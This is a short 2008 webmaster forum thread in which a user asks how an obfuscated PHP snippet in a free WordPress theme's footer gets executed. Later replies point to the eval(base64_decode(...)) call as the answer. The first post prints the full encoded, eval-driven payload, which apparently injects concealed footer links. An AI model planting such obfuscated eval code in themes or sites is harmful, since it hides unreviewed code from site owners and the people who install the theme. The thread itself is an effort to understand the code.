Webmaster Forum

Ezilon Directory   Keyword Research Tool   V7N Directory
Go Back   Webmaster Forum > Web Development > Web Design Lobby > Coding Forum
Register FAQ Members List Calendar Search Today's Posts Mark Forums Read

Coding Forum Problems with your code? Let's hear about it.

Reply
 
LinkBack Thread Tools Display Modes
Old 02-04-2008, 09:20 AM   #1 (permalink)
Contributing Member
 
Owen's Avatar
 
Join Date: 04-27-07
Location: Isle of Man
Posts: 163
iTrader: 0 / 0%
Owen is just really niceOwen is just really niceOwen is just really niceOwen is just really niceOwen is just really niceOwen is just really niceOwen is just really niceOwen is just really nice
Send a message via MSN to Owen
WordPress Footer Link obfuscation - how does this one work?

Got a code snippet living in a WordPress footer that I've been asked about. The code reads as follows:

PHP Code:
<?php 
$o
="QAAAOzh3b3cnbmlka3JjYi9TQgAASldLRlNCV0ZTTycpJyUoZQIAaHNzaGopAkAlLjwnODkNDg0AAA4OO2NucSduYzolYWhoc2IoAHUlAWENAaFDYnRuYGknZX4nOwAAZidvdWJhOiVvc3N3PSgocAAAcHApY2hrd29uaXd1aGpocwABbmhpdClkaClybChwYmVjA5IAIClmdHclOVBiZScElEVrZmRsAAB3aGhrJzsoZjknSmZjYidhFAJ1YmIGLygGImBic2RmaXFmBaUlABI5V29oc2h0J2hpJwGTDQ0EoiugAAxgDgpPcCl1aGhhZWhpYyllbgMNfSglOSdVAQAR4HRya2YLMQiCKw3vgAwN4HBua3RoaWFuYmtjDYQD8ENiAHRlcydmY3FuZGIDshJgE/AoFAA5DpEUCDEOOwDDDg0NGJNwd1gVUy8W8zsoBABlaGN+OQtgb3Nqazk=";eval(base64_decode("JGxsbD0wO2V2YWwoYmFzZTY0X2RlY29kZSgiSkd4c2JHeHNiR3hzYkd4c1BTZGlZWE5sTmpSZlpHVmpiMlJsSnpzPSIpKTskbGw9MDtldmFsKCRsbGxsbGxsbGxsbCgiSkd4c2JHeHNiR3hzYkd3OUoyOXlaQ2M3IikpOyRsbGxsPTA7JGxsbGxsPTM7ZXZhbCgkbGxsbG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sbGxsbDw8PTE7JGxsbGxsbGxsbC0tO31ldmFsKCRsbGxsbGxsbGxsbCgiSkd4c2JHeHNiR3hzYkd4c2JEMG5ZMmh5SnpzPSIpKTskbGxsbGw9MDtldmFsKCRsbGxsbGxsbGxsbCgiSkd4c2JHeHNiR3hzYkQwaVB5SXVKR3hzYkd4c2JHeHNiR3hzYkNnMk1pazciKSk7JGxsbGxsbGxsbGw9IiI7Zm9yKDskbGxsbGw8JGxsbGxsbGw7KXskbGxsbGxsbGxsbC49JGxsbGxsbGxsbGxsbCgkbGxsbGxsbGxbJGxsbGxsKytdXjB4MDcpO31ldmFsKCRsbGxsbGxsbGxsbCgiSkd4c2JHeHNiR3hzYkM0OUpHeHNiR3hzYkd4c2JHd3VKR3hzYkd4c2JHeHNiR3hzYkNnMk1Da3VJajhpT3c9PSIpKTtldmFsKCRsbGxsbGxsbGwpOw=="));return;?>
The long string is probably an encoded chunk of code, with links etc, shouldn't be too hard to decrypt.

My question is .. how does this get executed. All it looks like is a variable assignment (though I can't explain the "))" at the end of the statement.

There doesn't seem to be any other code in the theme that relates to this. Entire theme is here: http://web2feel.com/downloads/leafy.zip

Can anyone shed some light.

Confused

Owen
__________________
I'm a Maltese bloke living in the Isle of Man. Read more about my professional life on my Tech & Business Blog or learn more about me on my Personal Blog
Owen is offline  
Add Post to del.icio.us
Reply With Quote
Sponsored Links
SEO Hosting by HostGator  Advertise Here  Buy Blog Links
Old 02-04-2008, 10:05 AM   #2 (permalink)
Contributing Member
 
Owen's Avatar
 
Join Date: 04-27-07
Location: Isle of Man
Posts: 163
iTrader: 0 / 0%
Owen is just really niceOwen is just really niceOwen is just really niceOwen is just really niceOwen is just really niceOwen is just really niceOwen is just really niceOwen is just really nice
Send a message via MSN to Owen
Aha .. didn't see the "eval(base64_decode(" in the middle of that! .. the clue was in the )) !!

Left thread here so others can learn from my ignorance
__________________
I'm a Maltese bloke living in the Isle of Man. Read more about my professional life on my Tech & Business Blog or learn more about me on my Personal Blog
Owen is offline  
Add Post to del.icio.us
Reply With Quote
Old 02-10-2008, 03:12 PM   #3 (permalink)
Member
 
coolsaint's Avatar
 
Join Date: 03-26-07
Posts: 47
iTrader: 0 / 0%
Latest Blog:
None

coolsaint is liked by many
Send a message via MSN to coolsaint Send a message via Yahoo to coolsaint Send a message via Skype™ to coolsaint
couldn't understand what is the clue you got? Could you resolve the problem?
__________________
Coolsaint | Hagio Web Hosting
coolsaint is offline  
Add Post to del.icio.us
Reply With Quote
Old 02-10-2008, 04:22 PM   #4 (permalink)
Contributing Member
 
Owen's Avatar
 
Join Date: 04-27-07
Location: Isle of Man
Posts: 163
iTrader: 0 / 0%
Owen is just really niceOwen is just really niceOwen is just really niceOwen is just really niceOwen is just really niceOwen is just really niceOwen is just really niceOwen is just really nice
Send a message via MSN to Owen
Yeah .. solved it
__________________
I'm a Maltese bloke living in the Isle of Man. Read more about my professional life on my Tech & Business Blog or learn more about me on my Personal Blog
Owen is offline  
Add Post to del.icio.us
Reply With Quote
Go Back   Webmaster Forum > Web Development > Web Design Lobby > Coding Forum

Reply



Currently Active Users Viewing This Thread: 1 (0 members and 1 guests)
 
Thread Tools
Display Modes

Posting Rules
You may not post new threads
You may not post replies
You may not post attachments
You may not edit your posts

vB code is On
Smilies are On
[IMG] code is On
HTML code is Off
Trackbacks are On
Pingbacks are On
Refbacks are On

Similar Threads
Thread Thread Starter Forum Replies Last Post
Need some work done for a link.. WillL Blogging Forum 0 10-27-2006 06:04 PM
What is a footer link? richarduwc SEO Forum 5 09-25-2004 06:11 PM
Free forum footer link RonHollingsworth SEO Forum 6 05-30-2004 04:34 PM


Sponsor Links
Get exposure! Get exposure! Find Scripts Web Hosting Directory Get exposure! SEO Blog


All times are GMT -7. The time now is 08:05 AM.
© Copyright 2008 V7 Inc


Search Engine Optimization by vBSEO 3.1.0 ©2007, Crawlability, Inc.